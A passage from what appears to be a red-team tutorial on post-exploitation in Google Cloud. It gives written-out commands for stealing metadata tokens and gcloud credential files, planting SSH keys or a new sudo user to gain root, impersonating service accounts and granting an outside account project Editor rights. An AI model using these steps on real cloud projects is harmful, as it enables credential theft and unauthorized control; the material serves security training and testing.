Google\n```\n\nThis metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.\n\nFor example, the following command will return information specific to the Compute Instance it is run from.\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\n### Security concepts\n\nWhat you can actually do from within a compromised instance is the resultant combination of service accounts, access scopes, and IAM permissions. These are described below.\n\n#### Resource hierarchy\n\nGoogle Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specfic attachment points for policies and permissions.\n\nAt a high level, it looks like this:\n\n```\nOrganization\n--> Folders\n  --> Projects\n    --> Resources\n```\n\nThe scenario this blog addresses is the compromise of a virtual machine (called a Compute Instance), which is a resource. This resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.\n\nWe will work to compromise as much as we can inside that project, and then eventually to branch out into other projects within the same organization. A full compromise of the organization itself would be great, but gaining access to confidential assets may be possible simply by exploring the resources in a single project.\n\n#### Service accounts\n\nVirtual machine instances are usually assigned a service account. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account can be used by any user or application on the machine to communicate with the Google APIs. You can run the following command to see what accounts are available to you:\n\n```\n$ gcloud auth list\n```\n\nDefault service accounts will look like one of the following:\n\n```\nPROJECT_NUMBER-compute@developer.gserviceaccount.com\nPROJECT_ID@appspot.gserviceaccount.com\n```\n\nMore savvy administrators will have configured a custom service account to use with the instance. This allows them to be more granular with permissions.\n\nA custom service account will look like this:\n\n```\nSERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com\n```\n\nIf `gcloud auth list` returns multiple accounts available, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.\n\n#### Access scopes\n\nThe service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a [scope](https://oauth.net/2/scope/) limitation included. This defines what API endpoints it can authenticate to. It does NOT define the actual permissions.\n\nWhen using a custom service account, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access scopes are not used and to rely totally on IAM. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.\n\nThere are three options when setting an access scope on a VM instance:\n- Allow default access\n- All full access to all cloud APIs\n- Set access for each API\n\nYou can see what scopes are assigned by querying the metadata URL. Here is an example from a VM with \"default\" access assigned:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \\\n    -H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/devstorage.read_only\nhttps://www.googleapis.com/auth/logging.write\nhttps://www.googleapis.com/auth/monitoring.write\nhttps://www.googleapis.com/auth/servicecontrol\nhttps://www.googleapis.com/auth/service.management.readonly\nhttps://www.googleapis.com/auth/trace.append\n```\n\nThe most interesting thing in the default scope is `devstorage.read_only`. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker.\n\nHere is what you'll see from an instance with no scope limitations:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\nhttps://www.googleapis.com/auth/cloud-platform\n```\n\nThis `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. It is also Google's recommendation as it forces administrators to choose only necessary permissions, and not to rely on access scopes as a barrier to an API endpoint.\n\nIt is possible to encounter some conflicts when using both IAM and access scopes. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.\n\n#### Identify and access management (IAM)\n\nIAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles):\n\n- Primitive roles: Owner, Editor, and Viewer. These are the old-school way of doing things. The default service account in every project is assigned the Editor role. This is insecure and we love it.\n- Predefined roles: These roles are managed by Google and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.\n- Custom roles: This allows admins to group their own set of granular permissions.\n\nAs of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hiearchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).\n\nThis policy determines what actions are allowed - it is the intersection between accounts, permissions, resources, and (optionally) conditions.\n\nYou can try the following command to specifically enumerate roles assigned to your service account project-wide in the current project:\n\n```\n$ PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ gcloud projects get-iam-policy $PROJECT  \\\n    --flatten=\"bindings[].members\" \\\n    --format='table(bindings.role)' \\\n    --filter=\"bindings.members:$ACCOUNT\"\n```\n\nDon't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it.\n\nMore generally, you can shorten the command to the following to get an idea of the roles assigned project-wide to all members.\n\n```\n$ gcloud projects get-iam-policy [PROJECT-ID]\n```\n\nOr to see the IAM policy [assigned to a single Compute Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following.\n\n```\n$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]\n```\n\nThere are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.\n\n### Default credentials\n\n#### Default service account token\n\nThe metadata server available to a given instance will provide any user/process on that instance with an OAuth token that is automatically used as the default credentials when communicating with Google APIs via the `gcloud` command.\n\nYou can retrieve and inspect the token with the following curl command:\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\nWhich will receive a response like the following:\n\n```\n{\n      \"access_token\":\"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA\",\n      \"expires_in\":3599,\n      \"token_type\":\"Bearer\"\n }\n```\n\nThis token is the combination of the service account and access scopes assigned to the Compute Instance. So, even though your service account may have every IAM privilege imaginable, this particular OAuth token might be limited in the APIs it can communicate with due to access scopes.\n\n#### Application default credentials\n\nAs an alternative to first pulling a token from the metadata server, Google also has a strategy called [Application Default Credentials](https://cloud.google.com/docs/authentication/production). When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.\n\nThe very first location it would check would be the [source code itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file.\n\nThe next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.\n\nFinally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.\n\nFinding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.\n\n## Local privilege escalation\n\nThis section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.\n\nDon't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.\n\n### Follow the scripts!\n\nCompute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!\n\nOften, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.\n\nA great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.\n\nRunning `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.\n\nBut how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.\n\nBut, the instance is somehow backing up to it. Probably using a script!\n\nLook for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that leverage the service account's permissions to get things done.\n\nScripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.\n\n### Modifying the metadata\n\nIf you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:\n\n*Default service account*\u003Cbr>\nWhen using the default service account, the web management console offers the following options for access scopes:\n\n- Allow default access (default)\n- Allow full access to all Cloud APIs\n- Set access for each API\n\nIf option 2 was selected, or option 3 while explicitly allowing access to the compute API, then this configuration is vulnerable to escalation.\n\n*Custom service account*\u003Cbr>\nWhen using a custom service account, one of the following IAM permissions is necessary to escalate privileges:\n\n- compute.instances.setMetadata (to affect a single instance)\n- compute.projects.setCommonInstanceMetadata (to affect all instances in the project)\n\nAlthough Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:\n\n- https://www.googleapis.com/auth/compute\n- https://www.googleapis.com/auth/cloud-platform\n\n#### Add SSH keys to custom metadata\n\nLinux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.\n\nIf a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an existing user or will create a new user with `sudo` rights.\n\nSo, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.\n\n##### Add SSH key to existing privileged user\n\nLet's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.\n\nCheck the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.\n\n```\n$ gcloud compute instances describe [INSTANCE] --zone [ZONE]\n```\n\nLook for a section like the following:\n\n```\n ...\n metadata:\n   fingerprint: QCZfVTIlKgs=\n   items:\n   ...\n   - key: ssh-keys\n     value: |-\n       alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\n       bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\n ...\n```\n\nNotice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!\n\nSave the lines with usernames and keys in a new text file called `meta.txt`.\n\nLet's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:\n\n```\n$ ssh-keygen -t rsa -C \"alice\" -f ./key -P \"\" && cat ./key.pub\n```\n\nTake the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beggining of your new public key.\n\n`meta.txt` should now look something like this, including the existing keys and the new key you just generated:\n\n```\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\nbob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice\n```\n\nNow, you can re-write the SSH key metadata for your instance with the following command:\n\n```\n$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt\n```\n\nYou can now access a shell in the context of `alice` as follows:\n\n```\nlowpriv@instance:~$ ssh -i ./key alice@localhost\nalice@instance:~$ sudo id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n##### Create a new privileged user\n\nNo existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?\n\nYou can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:\n\n```\n# define the new account username\nNEWUSER=\"definitelynotahacker\"\n\n# create a key\nssh-keygen -t rsa -C \"$NEWUSER\" -f ./key -P \"\"\n\n# create the input meta file\nNEWKEY=\"$(cat ./key.pub)\"\necho \"$NEWUSER:$NEWKEY\" > ./meta.txt\n\n# update the instance metadata\ngcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt\n\n# ssh to the new account\nssh -i ./key \"$NEWUSER\"@localhost\n```\n##### Grant sudo to existing session\nThis one is so easy, quick, and dirty that it feels wrong...\n\n```\n$ gcloud compute ssh [INSTANCE NAME]\n```\n\nThis will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.\n\nWe'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.\n\n##### Using OS Login\n\n[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.\n\nOS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.\n\nOS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.\n\nThe following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:\n\n- roles/compute.osLogin (no sudo)\n- roles/compute.osAdminLogin (has sudo)\n\nUnlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.\n\nIf you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.\n\nSimilar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.\n\n## Lateral movement\n\nYou've compromised one VM inside a project. Great! Now let's get some more...\n\nYou can try the following command to get a list of all instances in your current project:\n\n```\n$ gcloud compute instances list\n```\n\n### SSH'ing around\n\nYou can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.\n\nWe can expand upon those a bit by [applying SSH keys at the project level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the \"Block project-wide SSH keys\" option.\n\nAfter you've identified the strategy for selecting or creating a new user account, you can use the following syntax.\n\n```\n$ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt\n```\n\nIf you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.\n\n### Abusing networked services\n\n#### Some GCP networking tidbits\n\nCompute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound.\n\nEach GCP project is provided with a VPC called `default`, which applies the following rules to all instances:\n\n- default-allow-internal (allow all traffic from other instances on the `default` network)\n- default-allow-ssh (allow 22 from everywhere)\n- default-allow-rdp (allow 3389 from everywhere)\n- default-allow-icmp (allow ping from everywhere)\n\n#### Meet the neighbors\n\nFirewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.\n\nYou can get a nice readable view of all the subnets in the current project with the following command:\n\n```\n$ gcloud compute networks subnets list\n```\n\nAnd an overview of all the internal/external IP addresses of the Compute Instances using the following:\n\n```\n$ gcloud compute instances list\n```\n\nIf you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.\n\n#### Enumerating public ports\n\nPerhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.\n\nIn the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked.\n\nWhen attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.\n\nWhat we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.\n\n[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods:\n\n- [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)\n- [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)\n- All instances within a VPC\n\nUnfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.\n\nWe've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:\n\n- CSV file showing instance, public IP, allowed TCP, allowed UDP\n- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)\n- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)\n\nFull documentation on that tool is availabe in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).\n\n## Cloud privilege escalation\n\nIn this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.\n\n### Organization-level IAM permissions\n\nMost of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of \"Organization\" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.\n\nThe following commands will list the policies set at this level:\n\n```\n# First, get the numeric organization ID\n$ gcloud organizations list\n\n# Then, enumerate the policies\n$ gcloud organizations get-iam-policy [ORG ID]\n```\n\nPermissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](#service-account-impersonation) section below.\n\n### Bypassing access scopes\n\nThere's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.\n\n#### Pop another box\n\nIt's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope.\n\nAlso keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).\n\n#### Find service account keys\n\nGoogle states very clearly [**\"Access scopes are not a security mechanism... they have no effect when making requests not authenticated through OAuth\"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).\n\nSo, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.\n\nThe easiest way to do this would be to stumble across a [service account key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.\n\nYou can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.\n\n```\n$ for i in $(gcloud iam service-accounts list --format=\"table[no-heading](email)\"); do\n    echo Looking for keys for $i:\n    gcloud iam service-accounts keys list --iam-account $i\ndone\n```\n\nThese files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is [project-id]-[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.\n\nThe contents of the file look something like this:\n\n```\n{\n\"type\": \"service_account\",\n\"project_id\": \"[PROJECT-ID]\",\n\"private_key_id\": \"[KEY-ID]\",\n\"private_key\": \"-----BEGIN PRIVATE KEY-----\\n[PRIVATE-KEY]\\n-----END PRIVATE KEY-----\\n\",\n\"client_email\": \"[SERVICE-ACCOUNT-EMAIL]\",\n\"client_id\": \"[CLIENT-ID]\",\n\"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n\"token_uri\": \"https://accounts.google.com/o/oauth2/token\",\n\"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n\"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]\"\n}\n\n```\n\nOr, if generated from the CLI they will look like this:\n\n```\n{\n\"name\": \"projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]\",\n\"privateKeyType\": \"TYPE_GOOGLE_CREDENTIALS_FILE\",\n\"privateKeyData\": \"[PRIVATE-KEY]\",\n\"validAfterTime\": \"[DATE]\",\n\"validBeforeTime\": \"[DATE]\",\n\"keyAlgorithm\": \"KEY_ALG_RSA_2048\"\n}\n```\n\nIf you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.\n\n```\n$ gcloud auth activate-service-account --key-file [FILE]\n```\n\nYou can now test your new OAuth token as follows:\n\n```\n$ TOKEN=`gcloud auth print-access-token`\n$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN\n```\n\nYou should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.\n\n#### Steal gcloud authorizations\n\nIt's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.\n\nFirst, find what `gcloud` config directories exist in users' home folders.\n\n```\n$ sudo find / -name \"gcloud\"\n```\n\nYou can manually inspect the files inside, but these are generally the ones with the secrets:\n\n- ~/.config/gcloud/credentials.db\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto\n- ~/.credentials.json\n\nNow, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.\n\n### Service account impersonation\n\nThere are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):\n\n- Authentication using RSA private keys (covered [above](#find-service-account-keys))\n- Authorization using Cloud IAM policies (covered below)\n- Deploying jobs on GCP services (more applicable to the compromise of a user account)\n\nIt's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.\n\nA good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.\n\nEven better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.\n\n`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.\n\nTo give this a shot, you can try the following:\n\n```\n# View available service accounts\n$ gcloud iam service-accounts list\n\n# Impersonate the account\n$ gcloud compute instances list \\\n    --impersonate-service-account xxx@developer.gserviceaccount.com\n```\n\n### Exploring other projects\n\nIf you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:\n\n```\n$ gcloud projects list\n```\n\nFrom here, you can hop over to that project and start the entire process over.\n\n```\n$ gcloud config set project [PROJECT-ID]\n```\n\n### Granting access to management console\n\nAccess to the [GCP management console](https://console.cloud.google.com/) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic \"@gmail.com\" account, it does not have to be a member of the target organization.\n\nTo grant the primitive role of Owner to a generic \"@gmail.com\" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.\n\nYou can use the following command to grant a user the primitive role of Editor to your existing project:\n\n```\n$ gcloud projects add-iam-policy-binding [PROJECT] \\\n    --member user:[EMAIL] --role roles/editor\n```\n\nIf you succeeded here, try accessing the web interface and exploring from there.\n\nThis is the highest level you can assign using the gcloud tool. To assign a permission of Owner, you'd need to use the console itself.\n\nYou need a fairly high level of permission to do this. If you're not quite there, keep reading.\n\n### Spreading to G Suite via domain-wide delegation of authority\n\n[G Suite](https://gsuite.google.com/) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.\n\nService accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.\n\nG Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.\n\nIt is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have \"Enabled\" listed under the \"domain-wide delegation\" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker.\n\nIt is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.\n\nWhether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.\n\nThis topic is a bit tricky... your service account has something called a \"client_email\" which you can see in the JSON credential file you export. It probably looks 